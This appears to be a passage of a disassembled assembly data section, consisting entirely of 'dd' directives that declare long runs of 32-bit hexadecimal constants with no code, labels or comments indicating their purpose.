		dd 854BC4A3h, 0CB8A7993h, 0CFC7F395h, 63FAD48Ah, 0AF915F43h
		dd 0F130C120h, 60FBC8EAh, 0ACEC80FAh, 8222CEDBh, 644B2559h
		dd 21CE815Ah, 0D7BFE438h, 16C335E1h, 28281E04h,	4A5538B5h
		dd 0EEE7A20Ah, 0FC456270h, 0AA75FA9Ch, 0F9DCCD0Ah, 0F58566B8h
		dd 0A665F272h, 0A9BD142Eh, 4436DB30h, 4F44A888h, 93568A5Ah
		dd 7CB5DEDCh, 0C138B380h, 56F39381h, 6D4E3550h,	3EE26A30h
		dd 7E741205h, 0A9C5F82h, 0B9B48014h, 489CA1FDh,	166B33A3h
		dd 0C17CCD7Eh, 2C098BB6h, 516C2FA6h, 0A4EC238h,	8B18A4FDh
		dd 0F8F2F159h, 7C847887h, 0B0E9C6C4h, 914D5C6Fh, 77C40774h
		dd 0F5BCD6Fh, 5EB77A0Ch, 42C8702Fh, 0CD2C8AF2h,	9943540Eh
		dd 0AC27F77Eh, 16693B4Dh, 0F0A1E6C7h, 4D61C591h, 3A5679FEh
		dd 81C7C738h, 0DABE3DCEh, 96867472h, 82FD97EBh,	0BBE15A27h
		dd 88C0AFD2h, 559954B8h, 83884516h, 5FB5E6Eh, 6EBF066Fh
		dd 9311F5ECh, 0B3C031C5h, 0D6497767h, 0F9CBC905h, 44A927BFh
		dd 0D6BFE7FBh, 45110F6Bh, 0C9C1429Ah, 0B62E8CC1h, 492A7B93h
		dd 0E0A6D94Ch, 949A4851h, 0EFC49F48h, 818AA0FFh, 5A877BF0h
		dd 0E293718Ch, 0D6D69709h, 1987D036h, 1ED8BECBh, 0DE6FCC23h
		dd 1DC082CCh, 0B33A7F4h, 54F12E36h, 0C19179F6h,	0CE8864ADh
		dd 0A1CDA592h, 0BD09F43Ah, 6A748917h, 1D0A20B8h, 7DF60F4h
		dd 0C0150433h, 45B4D342h, 1E2DBCC9h, 2746CB6Ch,	53276C42h
		dd 11E5E4BEh, 0F3733E6Ch, 7DB1B7h, 6C0DA52Ch, 964FC36h
		dd 2C042DDDh, 0AC1AD5DFh, 0D02079A4h, 0CFC506F0h, 0A702E31Dh
		dd 0B6302081h, 216B6E74h, 0CA74FAD0h, 6B4D3840h, 87FCFE26h
		dd 0E49468EAh, 0B5AF0DFEh, 8B1F0A36h, 72421F16h, 69F67370h
		dd 93305B69h, 0F914D717h, 0CF8693C8h, 843D5CA2h, 13B207AEh
		dd 0C48C4E7Eh, 0BF1399A9h, 7E9F9AF8h, 51FB33h, 810C39BDh
		dd 0DF4349A8h, 60BC44C3h, 23060183h, 347ED084h,	0CB28A181h
		dd 803F6DC5h, 46B51183h, 33288BF8h, 0B3285458h,	143908E7h
		dd 6CF507DCh, 890FC01Bh
		dd 221E1C92h, 4E9E9106h, 320A8F95h, 5B863927h, 0F8A0B202h
		dd 84D43D01h, 5218DAFFh, 5B9977D6h, 88D00EBFh, 209F7C6h
		dd 0A11D71A0h, 38FFFC6h, 0F391E23Ah, 671F1Dh, 5057ACEFh
		dd 8AF0B9A5h, 8F3A2937h, 40F3A4CDh, 34D0A3D6h, 8827D4C9h
		dd 2A24C06Fh, 6EE7D64Ah, 7481E750h, 3B245F83h, 59E903F5h
		dd 54C0FCB2h, 0A9276FEAh, 0E11DB8FDh, 65F69A73h, 0EC8184FEh
		dd 0CBBBF6D9h, 756A23F4h, 115F8A31h, 0E003223Ah, 0E5586658h
		dd 0B7629C75h, 40D17099h, 0CA635051h, 6B79B411h, 11B5793Dh
		dd 63C7A7ABh, 5DE7F1ADh, 0EBB8B44Eh, 439C82E2h,	8197A495h
		dd 7681BA98h, 0EAE5290Bh, 27847980h, 0BE8B64Bh,	686FC51Bh
		dd 0C70D1C40h, 5D596D5Ch, 1D0A1C8Ah, 380EE750h,	7C793EECh
		dd 9F9B0611h, 9B9BD9BEh, 0C46C0ECFh, 66D07D64h,	0F38F6E6Fh
		dd 6C45764Ch, 3BCEC96Ah, 0CA7D2BB0h, 0E8849130h, 2105E0Fh
		dd 2C308B34h, 8BC13015h, 0E7141424h, 40F92A8Eh,	0C96C5728h
		dd 0EABFD63Ch, 0DAEEB2EFh, 0D2E86200h, 98FBAEE2h, 5639CB28h
		dd 69597A3Bh, 0A09E8A5Ah, 0BF1C4808h, 0F083B358h, 7D3D4D07h
		dd 934CEFD8h, 800BEE8Eh, 476D5C52h, 0E5460E5Dh,	0D871C430h
		dd 3C769269h, 0E5B545D6h, 75A2B4D9h, 0F2BC8715h, 0F84E57D9h
		dd 3378D74Ch, 4808132Fh, 0F623E02Eh, 0CF1EDC96h, 3851DC17h
		dd 0DD53E1F5h, 3CE4F9E2h, 8B7ADBBDh, 9C96562h, 0ACFA1239h
		dd 27512898h, 0CA920AF4h, 9EFAD908h, 9E8BF8BFh,	8ACEF468h
		dd 2BE0FD6h, 9E0E9ADh, 0DA3CD18Ah, 84E4CFC3h, 874A6ED2h
		dd 0E88B9D8h, 21CD32E2h, 5211DAB8h, 0CB6D2800h,	0CAB5FE88h
		dd 0F2093F65h, 0F65A0D8Bh, 92733A0h, 56411D3Dh,	1B14B6BDh
		dd 0A20347DFh, 0E6150D3Bh, 1B48FE25h, 93CB0h, 0E52B99BFh
		dd 1966E7D8h, 28616086h, 51221D6Bh, 32659BA8h, 2AD2BECDh
		dd 0C6E72DF0h, 0B11D2F3Dh, 133AE7D9h, 0E9A82ED1h, 25A684F2h
		dd 0D21ABD64h, 9A44C857h, 8E83B24Fh, 8FC354ECh,	9AD7AF2Eh
		dd 0D44F735Eh, 0EFCAE60Bh, 718AE7ADh, 0A0EE456h, 4A5B66FCh
		dd 0D44B8143h, 437D222Ah, 8EE2996Bh, 8A7D8F94h,	78E45CECh
		dd 1493CB0Ch, 0D06F3760h, 0F36EC309h, 768FA31Bh, 0D6100ED1h
		dd 898F42AEh, 0EEB31D68h, 0E50C0657h, 0FF3531AFh, 0EAA0402Ah
		dd 0D1410619h, 90EF76A6h, 0AEAE7D6h, 21A432C8h,	6F430F98h
		dd 0B0517172h, 39299637h, 338FBC73h, 0CDD99872h, 87CDFFA1h
		dd 0F606A07Bh, 10DE094Bh, 2A22D08Ch, 0DE6DE3F3h, 16B0B649h
		dd 0C03D9511h, 7C9544D0h, 0F3FCBEF6h, 0BF15B16Ch, 0AA323A21h
		dd 0E23981DFh, 0D36E461h, 7BF2CA65h, 0B8A1EE5Fh, 803460E1h
		dd 0ECC9FC80h, 0A48701E1h, 0C327DF19h, 0A657FE41h, 351E5586h
		dd 10AC2878h, 45795F00h, 13C3AA84h, 0FE950BABh,	2300114Dh
		dd 0D7DAEAC2h, 187F2B71h, 690F64B3h, 0D285B2F1h, 6E554A5Fh
		dd 0C2E618BDh, 0BAE9CDB1h, 0D8D368F7h, 9FC465F7h, 0CA28F3FEh
		dd 420BD0F6h, 61D0B243h, 0E2274CA6h, 7E311C75h,	6C91CA22h
		dd 62FED1FFh, 286B6F7Ah, 129AB00Dh, 8932AB74h, 299AA077h
		dd 0C83354AFh, 496A2C53h, 0D4F6138h, 73814037h,	0FF140785h
		dd 7D237CEFh, 89A974FCh, 0CB8D4549h, 3929FBC6h,	0AAC807B9h
		dd 0F70CFCA2h, 60351C30h, 48ED8D95h, 578BF270h,	4BEF48Eh
		dd 2BD2350Fh, 0D14FA89Dh, 0BB83A500h, 2D35798Dh, 8DF31E24h
		dd 16ED4EFDh, 7E51125Ch, 63F556E7h, 848547E9h, 541480DCh
		dd 1E4CF4C1h, 152DB538h, 1E8D3014h, 0D580939Fh,	0DB7261C4h
		dd 5930224Bh, 65B448D1h, 9987688Fh, 0B86B3F9Ah,	0DAA1319Dh
		dd 42640FE8h, 7F961A29h, 4E90252Dh, 606A519Eh, 16A9998Ah
		dd 0E4C94F46h, 35008C76h, 464ED6D4h, 3DB15478h,	65DC38A5h
		dd 0CE0FB6B4h, 0FA77DD6Ch, 0EDFF8983h, 0FC47E36Dh, 2AB05479h
		dd 0ED95EE12h, 80B4EF4Fh, 585A1A08h, 27FFB21Eh,	0DE832A54h
		dd 1D643F93h, 7A0335A6h, 0C0EC9A66h, 3C6E107Eh,	0BD28E4F9h
		dd 0A493B1A1h, 2F33D1DFh, 0B4051349h, 80DDA996h, 2DBF5AD6h
		dd 0EC8B1867h, 0AE863C69h, 503B4A21h, 13824BB5h, 153834BAh
		dd 6E72366Dh, 33A3408Eh, 0F8F171C9h, 3F0E413Ah,	3452771Fh
		dd 495BBB74h, 388D2439h, 0E3C83945h, 815AC89Eh,	67AD48A5h
		dd 27998385h, 0E6BA699Ch, 13BCEC29h, 2B1E0507h,	14FD8C5h
		dd 4AB02FFBh, 17570E65h, 0E59B2140h, 0CD000C3Ah, 0B904798Ch
		dd 0FC6FF9CEh, 0D1829465h, 4F53AC9Ah, 75F99930h, 95161DBAh
		dd 0D13122E7h, 0F1692C3Eh, 0E3D6BDE7h, 3B0B1BB5h, 81F4EB41h
		dd 5B0C38D3h, 0E20A77B0h, 56E68C1Ah, 0B638071Dh, 4C71EFBBh
		dd 0B257BEE4h, 60DE61B8h, 0D3D84E21h, 622A36F8h, 0DEC3D940h
		dd 76895AF8h, 4C1FBAD0h, 9EE5E1DBh, 0C5ECD6B2h,	72ACFF9Fh
		dd 3839A60Ch, 0BB8E3B84h, 0FE3B44A7h, 0B4C802BDh, 5062772Fh
		dd 0E1CDE1E1h, 0DC898727h, 3C336086h, 251C3444h, 399AD80Dh
		dd 2C94CC2Dh, 0F246BA42h, 0E25EA006h, 439A9AA1h, 0E9346CB8h
		dd 0C7151F4Ah, 7A49247Fh, 0C0E98A51h, 109FEC6Dh, 0D04B046h
		dd 105A7A8Ah, 0AA045D3Bh, 0FE051098h, 0C11AFC09h, 812B74A3h
		dd 4775CF8h, 2B6B32C1h,	341CDEF0h, 0D142BF09h, 64945EAAh
		dd 0C9C3A966h, 0CE08D120h, 0EAB6E4B3h, 0D0DFC346h, 8B96F7F0h
		dd 6BB57644h, 0DDC31B90h, 0F7BC997Ah, 1165723h,	36EEEEDh
		dd 2CD67F7Fh, 0DD51A3F3h, 559E8C1Ch, 23BC0DA4h,	0EB054366h
		dd 0C7B93E13h, 9949B8B9h, 5DC5C7B8h, 40B488E3h,	8C53B7DBh
		dd 133F07A6h, 5E9B80E0h, 0EDADE261h, 9A753CAAh,	8C4B0015h
		dd 0EDEB0033h, 621E6C06h, 58CFD10h, 0E814B92Eh,	57853438h
		dd 51D60A2Ah, 10E8F5D8h, 0FC2B26ECh, 5D8866B0h,	34D970EEh
		dd 4F61A8CBh, 5C8AFD62h, 0D26FBAB6h, 705056D5h,	83A6E008h
		dd 0D064DDFCh, 0C4316B7Dh, 22CEC4E4h, 0F56E920Ah, 0D8C48038h
		dd 0B654EC19h, 4C464BFh, 0CF3CE785h, 0BC8CE7FAh, 19EF6492h
		dd 378EBF69h, 0F79973B1h, 0B7EC6D04h, 32BD7340h, 62D853ECh
		dd 7F48857Fh, 3EDCC984h, 0A58ACD2Dh, 8578B33Dh,	4D40E8BBh
		dd 4D6461D3h, 0B2B9E924h, 0F3117805h, 1F0FF39h,	0C8188E2Bh
		dd 84E6C939h, 97ED6A88h, 9034EEB0h, 0C1187FAEh,	3EA7182Bh
		dd 51D34D9Eh, 0DF66850Dh, 0F944934Ah, 0A616D540h, 1768939Eh
		dd 0A1C589Eh, 0CA4102DEh, 3BA8592Dh, 8604804Ch,	0DC7826F9h
		dd 86B424B7h, 0CAD3FB00h, 5CD0FC15h, 218A47C2h,	11F3083Fh
		dd 4E140A23h, 0D1C080A0h, 7E1DCC0Ah, 509ECB7h, 5FC22A9Fh
		dd 0FFE91834h, 60F65EDDh, 5CB012Bh, 0D8110695h,	0E14B8D4Ch
		dd 0E5D9932Ch, 41D6A2D1h, 0C2C17984h, 0B3E894B0h, 0BAB18B1h
		dd 0E2477FA3h, 337422C2h, 0E0FBA6EAh, 6CE46A75h, 0EADC89E8h
		dd 0CA012E20h, 8BAE0BE0h, 0BB3EED06h, 7BB16B2Fh, 0AE336653h
		dd 1C72F80Fh, 0F247613Fh, 3A6551CAh, 0A7834BB8h, 0D9773B0Eh
		dd 0EBEDFFB0h, 592F369h, 4C3E4DBAh, 0C69CC3F1h,	0C530961Ch
		dd 0EE25005Ah, 54457476h, 7AABB3CFh, 760A8B2Ch,	7CF58554h
		dd 7C59226Bh, 743027B3h, 65563D9Bh, 377C150Eh, 63841CB1h
		dd 8FD45ADAh, 0C6457E5Dh, 8249B8C7h, 0B08AD6FAh, 36174D76h
		dd 506646C4h, 0B17EC03h, 146F81BCh, 21FE659Ch, 655EFBBh
		dd 0EF36C882h, 8EDADFFEh, 6303538Ch, 0FD610757h, 1CEF4B17h
		dd 6CE1B1Bh, 0F42BF58Eh, 5DE6F871h, 0FF640AE8h,	0D994DA15h
		dd 0BFE7123Eh, 8E210AABh
		dd 0DF429C0Dh, 85B9EC95h, 2AB7A7AEh, 3BE2C962h,	3B6781AFh
		dd 8E82A10Bh, 0E12C2389h, 8D332CFEh, 4A37A1A6h,	0FCCF071Ah
		dd 55DD4D00h, 0FD78656Eh, 6F26F055h, 3039880Eh,	8C910494h
		dd 0F0F2E5E6h, 0E3AB51B5h, 0C1452B5Ah, 54261859h, 0D0DEB23Ah
		dd 7C28446h, 93E851BEh,	15A8B233h, 0AF75F8A0h, 0ABE7DF9h
		dd 5962744h, 3C3F17B4h,	0BB98A25h, 88B1042Eh, 2F0507FBh
		dd 49EE5D7Eh, 0CC314902h, 146C9371h, 0A602A1CCh, 263A963Eh
		dd 55DE16C0h, 70682151h, 424FD610h, 6B416961h, 0A8A5647Ah
		dd 5CB3D633h, 19745FCDh, 90F52A26h, 7FEDA06Ch, 0D35B79FFh
		dd 45E634BCh, 44AFE72Ah, 77FAB9F0h, 27ACCD4Bh, 79E94C62h
		dd 0FD5BE7Dh, 84D5C764h, 3400C8A4h, 66D5FAA5h, 0C4E39470h
		dd 0F9D29D9Ah, 2C94A6EDh, 0D85FBB6Bh, 871D9829h, 24702239h
		dd 7F4A9A5Ch, 0C4263FFh, 0F7EEABEDh, 55BCB34Bh,	0E73EBF03h
		dd 2DD442Ch, 7ACBCC11h,	61C95BAh, 44F03BD7h, 33B472B8h
		dd 0C3F683E4h, 1F78752Eh, 9D79B283h, 0F32FDEEBh, 0D6B27229h
		dd 0CF9D576Eh, 0E672214Bh, 2684E5E1h, 4CC6908h,	0C3F91F18h
		dd 37344441h, 6C0BA5F1h, 771F3532h, 5639335Bh, 0C1AC4214h
		dd 0AF9A925Fh, 2F580BD6h, 5EEF4FC2h, 4EE3674Eh,	15DA6346h
		dd 0B78CA7E8h, 0AFBB07E5h, 64FF264Ah, 0C1CFB8D4h, 0A6F63F9Fh
		dd 0E124D498h, 72A40FEAh, 0E924D116h, 8F86CA19h, 65FA5E82h
		dd 80718421h, 0AB7C5B8Fh, 0EB8BFD4Eh, 0CC8CCF91h, 2211B195h
		dd 44CCA64Bh, 0CA7FBEAh, 3B2C837Fh, 0D2D77F8Ah,	4A93A573h
		dd 6AF73557h, 0E15B98A3h, 8605FD8Ch, 7275D981h,	33DE5979h
		dd 0FFBC0459h, 61F73F61h, 90BCB30Bh, 693E3B08h,	5EA1D715h
		dd 218B19E7h, 709EFB4Ah, 652BC991h, 45A4CD0Eh, 29B6E7BFh
		dd 0C5B0D72Fh, 0D1D83AC3h, 0E886E431h, 9E9C4ECCh, 0FD904B02h
		dd 339D585Bh, 0FDF8771Eh, 5DE26CFEh, 0C9FFE95Eh, 0B4EBFF27h
		dd 62635C14h, 6C753335h, 3CC72DA5h, 42C036A6h, 5F5569B0h
		dd 0D6C07EF8h, 0BC07AD9Ch, 0A1F7D45Dh, 75552FB6h, 83B6A6FFh
		dd 0B99060AAh, 8CA2C214h, 146C151Bh, 0F8D48D5Dh, 268B80CAh
		dd 3C950A8Ah, 38D68C55h, 9A7D7E0Fh, 2CBA9A2Dh, 0F7FBE433h
		dd 72DDA51Dh, 25F42913h, 0DD4C2029h, 447506D7h,	8149B3C7h
		dd 7C2816F8h, 0FEBA64A0h, 47891EE1h, 0EAED4D6Ah, 8F6A3F52h
		dd 64FDBA0Ch, 1ED15DD7h, 811B16D2h, 81975E19h, 6707CC17h
		dd 0B6565147h, 0C1B8B901h, 9E774DFh, 0D8856930h, 30A920A6h
		dd 0B2588D89h, 2063A06Ah, 23169CFFh, 1FFE5C16h,	0BFB43C46h
		dd 5474C385h, 0AA06CED9h, 0E6AD25D5h, 0DB614491h, 87E754FDh
		dd 3905E49Dh, 0C3DF820Eh, 0D30A02E2h, 4C24F902h, 7BF30EA0h
		dd 289BEE13h, 0AA6AF5DDh, 544318E5h, 4F701DE9h,	22F6316Dh
		dd 65879B37h, 0BAEBD817h, 0EF581F7Ah, 7EC850B1h, 39F770DDh
		dd 0C55F9490h, 302722CBh, 921A6909h, 14A0B323h,	0F906E8F4h
		dd 6188D4CEh, 2AC641A7h, 0A60B5083h, 95B79E92h,	6F14CD8Dh
		dd 0BECED102h, 1D509DAAh, 0B6EA9EAFh, 659C487h,	0F2CDB2FDh
		dd 0A9210DB3h, 62532752h, 8DA8D4C3h, 1A6839E4h,	5266AD6Eh
		dd 7ECC6A41h, 98F63307h, 0E6FDE7C3h, 0F4AE30DCh, 0A07D8303h
		dd 0DF3329D3h, 0DAF926B1h, 0BE61C168h, 853E3F7Eh, 0A6D1Bh
		dd 5FE7D670h, 9B216722h, 63C8E09Fh, 0DE64568Fh,	622E548h
		dd 7DBDF157h, 9F95C2A1h, 245192F1h, 40F6BF69h, 0A87D7E66h
		dd 6A6B28F6h, 0A8C6B285h, 1A101F6Fh, 5C79A3CCh,	3101BFB3h
		dd 0E54C2806h, 557FCBB3h, 0BA578326h, 0F9B760F2h, 5BB24E61h
		dd 94140E29h, 8EC2A6Eh,	7F280C7Eh, 0CFE0BBE6h, 0F133C9F8h
		dd 0CB4CE144h, 3982B61Ch, 34F823AFh, 4A14B31Fh,	6A52C3DAh
		dd 871DA662h, 929A214Ch, 5C242F7Bh, 1AFF1457h, 0B43DC368h
		dd 0FC3B5924h, 4674B946h, 7DD6DBEDh, 61F1388Bh,	0F745A367h
		dd 16648964h, 7B328E2Dh, 2AB36CAEh, 0ACFEF41Fh,	0A832C52Ah
		dd 9CE38077h, 9F8EA6F3h, 0DDA7819h, 0F28D941h, 6FCFFBDDh
		dd 0AE64C1ACh, 0F0C55806h, 0FB57B5F2h, 8CAE029Dh, 27D22224h
		dd 0C0CA9A1Ch, 5334716Fh, 0B682A8ADh, 65BA1190h, 0E3EB1D34h
		dd 26F0E27Dh, 1E18DFF1h, 7538BDD7h, 483A4AA4h, 0AF0FC4A7h
		dd 48A82E2Bh, 80ADC02Eh, 0AD187E5Bh, 57F65C78h,	0A4F0425Eh
		dd 9FDEB82Bh, 5B49FE09h, 0B5BB8D2Bh, 0C0E2B79Ch, 0E184FBE9h
		dd 18E05B23h, 8B351766h, 0DE5E018Dh, 0A947496Eh, 0A7B2335Eh
		dd 1013FEB6h, 827627DEh, 35F54837h, 6D115927h, 0DE54ADBCh
		dd 0C74BB2ECh, 5E9A5AD1h, 4CD3042Ch, 1A9AD728h,	74DCF528h
		dd 51E5C643h, 71A723B1h, 37BC431Ah, 0BDA3A1DEh,	0FAF3EBB4h
		dd 1D5B6B74h, 4FB1E49Eh, 998D8C09h, 339CDDAEh, 561153E4h
		dd 0CE413B88h, 96AFF5DFh, 42510681h, 0BFCB6C55h, 0F05E6599h
		dd 0C495C35Ch, 0C423EDDCh, 961B8CFDh, 0DD423F03h, 4D175CA6h
		dd 62ED92FDh, 854D664h,	0CC144342h, 0C157D493h,	0B0203209h
		dd 0F52BC235h, 0B68B2864h, 0F85994CCh, 70A7C5DFh, 6A37EAE7h
		dd 6DD6CA90h, 90C496C6h, 5D21D135h, 5904C75Fh, 30A252E4h
		dd 43640A63h, 4C351DD7h, 0CFCF4F37h, 0EB4066C7h, 0D7C02925h
		dd 3F20B039h, 8F622189h, 0DDCFE625h, 21A21B74h,	0B2C87767h
		dd 5C5FAA07h, 58EC876h,	60B90CADh, 0ED667D59h, 57D91B4h
		dd 0A9C58869h, 99AA8650h, 209E0EA9h, 7AE1172Bh,	0BE6024F6h
		dd 0DB050390h, 7DF5A74Ah, 93910EF7h, 25B2E187h,	0D08AD7ECh
		dd 2AACA072h, 0E96EF9ECh, 0FDF53787h, 0BF33012Fh, 0BC55C273h
		dd 33CF3241h, 0A316419Fh, 4EF595A3h, 1A6AF72Ch,	9A2DDBE7h
		dd 59CAADA8h, 0A5955BCh, 7F514977h, 0DB37797h, 0CB5187B7h
		dd 0B9BA196Ah, 6B45106h, 88B3FE4Ah, 9DD769A3h, 0FA1444C1h
		dd 495352CDh, 0F0A986D6h, 2E20D7FDh, 70094DECh,	0E1F1A00Eh
		dd 35CAB7FDh, 40860016h, 1E392364h, 0AF3CF1D4h,	74010716h
		dd 7598F4B5h, 0F7A1FCBh, 35DE8B9Ch, 6D1386E3h, 52F6E013h
		dd 3103C8F2h, 9F49F4FBh, 0A48F567Bh, 0AB7C744Bh, 495995BEh
		dd 4E491370h, 0BA67F518h, 99FC1B5Ah, 0DFCF141Dh, 6612DA24h
		dd 0AE50EFE6h, 322912D9h, 55DEA2AEh, 0EB5112FFh, 88551002h
		dd 51CF13FFh, 0F0F631Eh, 8B621B6Fh, 6A7DFFCDh, 0D9840B7Fh
		dd 0CA958C7Eh, 0C2F096F3h, 53665EF7h, 621F1A12h, 33511BBBh
		dd 0A836ABD1h, 91C4D886h, 5FACC9FCh, 0E7E80C44h, 6978FB73h
		dd 34284820h, 9F7DB62h,	2E65ECC8h, 1EE32737h, 0B0888B04h
		dd 9DFCA367h, 88C89196h, 2DE4753Dh, 9B52F885h, 9F04C228h
		dd 2F49CD34h, 7B8CDE78h, 0AA962916h, 0C23E412Dh, 7A22F252h
		dd 0EFD62B2Eh, 0A68995D3h, 0A4DE417Fh, 6568F030h, 5297C4E4h
		dd 0FEA4B173h, 0E98C1F50h, 8EF8EF3Ah, 8576DF90h, 0E7022E40h
		dd 4D400ABBh, 19372982h, 95E357FCh, 13AE6FCDh, 6580049Eh
		dd 0C4C9583Ah, 99EA284Bh, 0F80CE0F3h, 0FBAD61E6h, 9BE4CAC9h
		dd 48B70133h, 0C75CD34Ah, 0D17F19F3h, 81AD0084h, 14AB8D8h
		dd 63E5AC40h, 82031BF9h, 0DEE022FEh, 882002D4h,	52C1C9Bh
		dd 0FF668D4Eh, 0AB608B43h, 3B166370h, 911E316Bh, 0F01C056h
		dd 48D9E240h, 0BB82EF65h, 2FCBDDECh, 0DA54B49Ch, 0A55EFDADh
		dd 3A6AD49Ah, 0EC56DB12h, 0AB8D5DE7h, 53E8F59Ch, 4A620492h
		dd 0CF871EB0h, 0EEFB82EEh, 6A06FFF0h, 805AD9DEh, 3A9E1EE2h
		dd 13845FAFh, 9FAEEC09h
		dd 0E8506890h, 7A5FC743h, 0C68D6B3Bh, 9607B60Fh, 2E8994A2h
		dd 41AF1194h, 0DC77E7A8h, 726C4E05h, 2AC2DAAEh,	0CBECB169h
		dd 0C58053D3h, 6A2C6E32h, 0CE1D994Ah, 0F73F221h, 8FAA1C00h
		dd 0B3A27778h, 351E0A5Ch, 0CA405215h, 80FD9F7Fh, 4946AEB2h
		dd 465B5E7Fh, 988B6A12h, 53280820h, 5CEC250h, 0C670A00Dh
		dd 0A81D3542h, 0CDDB6DF2h, 2B30E300h, 5EEBD3E9h, 39795B23h
		dd 2A45B961h, 3A37050Eh, 364B3B99h, 0E961CC12h,	829208B5h
		dd 79E0AA35h, 0B211DB8Dh, 0EEC067A0h, 134D138Fh, 76870050h
		dd 3445F04Eh, 9CADCDD0h, 0B4D4F28Dh, 84B6ED12h,	904418F2h
		dd 64EA3074h, 7E4448C0h, 0E2B41B3Eh, 5D6AE3C2h,	3A1E867Bh
		dd 58C9FF2Eh, 0B6312F46h, 98DB80CBh, 0B2E2155Fh, 44E46D64h
		dd 141A86AEh, 93CB0771h, 1CE7F4F6h, 0E59FC7DEh,	7485EA47h
		dd 0CE5D6B0Ah, 4E411A13h, 0AA1F94A3h, 0E1C309B0h, 65D7ED4h
		dd 0B18B59B5h, 9E09FC88h, 0D15A3BE9h, 0C8B3936Fh, 0A361592h
		dd 0B3A3A0ABh, 2C7A93E9h, 0CD23E366h, 80356EC8h, 78AADD3Dh
		dd 0A3D8E1EEh, 0C9F600A1h, 30568718h, 18F54DC1h, 0EC2FD2F0h
		dd 0B3ACC48Fh, 25F648A2h, 737A76Bh, 4F7E38DDh, 4AF36B14h
		dd 7EDED603h, 0B029E8EAh, 9219C8F9h, 93466F6Ch,	0FD98CD64h
		dd 90F96D15h, 5A660E42h, 9B48B9DFh, 903ABAF3h, 0C58595F8h
		dd 0BDD5B199h, 0CA119EB9h, 0FD7B15E7h, 1933AF8Eh, 69EFF559h
		dd 2846231Bh, 96B8D226h, 0E4479C6Bh, 141D1CD6h,	0CC8E77FEh
		dd 352CB02Bh, 348C5263h, 7921F8Ah, 0ED1355Dh, 0B17DFCDBh
		dd 7809875Dh, 3329F0Fh,	13C5675Bh, 78709881h, 5172298Eh
		dd 3748049Ah, 29EDC4F8h, 0B0F8FF86h, 634F4BBCh,	4D0B48A2h
		dd 0E2459B02h, 0FD2B1066h, 0CBCF5149h, 0B8DCC55h, 3FAA58E3h
		dd 532A241Eh, 0FD55AFE8h, 85805572h, 60A50EE4h,	0EEF34680h
		dd 0A842D4ABh, 83F4CDCFh, 0CD828C2Dh, 0FB37FC3Ah, 0DE38FDF4h
		dd 7B09C9C3h, 3FD8EEF0h, 0A2389521h, 0C4A95574h, 0BB0F2ADBh
		dd 473F2A46h, 11AEE321h, 87E3A7CEh, 1331B838h, 0E2B0223Fh
		dd 7FEAB841h, 94033E0Ch, 0EDF58E5h, 7BD7361Fh, 0BB6B51F2h
		dd 0E1C6573Eh, 35F8C8E4h, 2767A74h, 9476A714h, 16C2EAA2h
		dd 5FBD1AC2h, 0BB0A3020h, 0E2CAE58Ch, 0EBA07566h, 4410F82Ch
		dd 0E6620638h, 76814A0Bh, 39ABEBE8h, 62E2B856h,	6748AAC4h
		dd 35B8348Dh, 0D9E09D66h, 7B63C49Eh, 80346947h,	0E9152F6Fh
		dd 9A37818Fh, 0B6AC2DE7h, 691B7C01h, 4C9E4EBh, 7353BBAFh
		dd 0E012EC6Dh, 0B0E45E14h, 5769E06h, 76FB92B4h,	2BB96BF3h
		dd 0E6F70602h, 0BDD449D1h, 0F1BE4D62h, 3D419CDh, 0FE029357h
		dd 0A238DB5Dh, 0F02447D8h, 9381036Ch, 29E5BEF9h, 346FF7F4h
		dd 0B100907Ch, 0B2E0A894h, 453AD668h, 80030A6Ah, 0F49FC8A1h
		dd 8A0CC2BDh, 99C79D4h,	0BA4AF10Bh, 0E243B5D3h,	3C12359Ch
		dd 9C001AEAh, 166C9963h, 0F7FB1E0Fh, 1EC819A4h,	2F654BD2h
		dd 0D6875C58h, 49BC4CCAh, 5F412B40h, 81B9BA6h, 240F4A08h
		dd 0D60FD4DFh, 0F72B86A5h, 606AF061h, 0CFA3670Dh, 966F4AF6h
		dd 747C2FBEh, 74DF1347h, 0E05B4F82h, 0E31AE21Eh, 17C078F1h
		dd 2092A648h, 0AE3A7A99h, 136C24CDh, 0DBF9589Eh, 45899674h
		dd 0E1F9246Bh, 0AC273193h, 35B2E77Bh, 73C9A783h, 688DDE1Ah
		dd 0CD5CC3D4h, 7341FA7Dh, 0A7E8D5DAh, 0B960D8C6h, 0EB735EBAh
		dd 0CDDB8B9Ch, 0EC1BBFBAh, 12DAAC4h, 6CF05B88h,	0F05684CAh
		dd 0EB06FE49h, 9FF09B9Bh, 0D0B9AB52h, 38F213EDh, 0BB98311Ah
		dd 9364E711h, 47D4965Bh, 0F1E6CF3Ah, 0A71AA100h, 3773FCDDh
		dd 252A0D13h, 0FED7926Fh, 0F81FDFCFh, 48D8A66Fh, 0D342F230h
		dd 65FA01EDh, 7CD87A98h, 45A4CEF7h, 81CB56DCh, 0F159A6FEh
		dd 1EB45C2Dh, 35977316h, 6F5EF83Eh, 49833C90h, 0AFC2B081h
		dd 753BA057h, 81EAB7D9h, 3FC35D9Bh, 49ED690Ch, 4EEE355Fh
		dd 0BDDA9518h, 0C09D7C44h, 0E1FE3447h, 421C8240h, 0B683A1E3h
		dd 0BC2A0D70h, 0A7E52DB4h, 3386B36Fh, 0E15E12E7h, 5E09E454h
		dd 8FB5BB29h, 3DDCC9E9h, 73F3D6E1h, 9FA54E64h, 41897CFCh
		dd 7B514AB5h, 118C4388h, 3212A1E1h, 246CF68Ah, 0B3AF929h
		dd 0D073D5FAh, 0D6017404h, 2CA023A7h, 9A4F5940h, 1DB7429Ch
		dd 0EA8576F6h, 0C8926BBh, 3685670Dh, 1CFE8DF9h,	0FEBE8773h
		dd 0BD882AEDh, 1E19CD2Eh, 0EC32EA22h, 0B1414C2Ah, 8C41AC39h
		dd 0F915A766h, 38A1FFAh, 3D9F2035h, 47B18BBDh, 2FA3F519h
		dd 0FC140191h, 852F6B57h, 0D5D1E957h, 0E93DB490h, 8B405487h
		dd 3A4F4959h, 0AEF1C485h, 0FD7EBC4Dh, 8C320F4Dh, 0B047D5C7h
		dd 9E5F54F6h, 0C45C668Fh, 4980D6AAh, 6E726E7Fh,	6AF8AEA2h
		dd 0E17037A0h, 0C7F2C7CBh, 4C3B0362h, 2E862968h, 883C5D8h
		dd 8B3850B4h, 72028A6Dh, 749E560Eh, 0A5E3569h, 0BBB65E0Eh
		dd 652DFA6h, 0F9C8E4F7h, 3A261347h, 26729A9Ah, 0B80DAC9Ah
		dd 53971ADFh, 57678B7h,	0C251D829h, 1F44961h, 114F9D48h
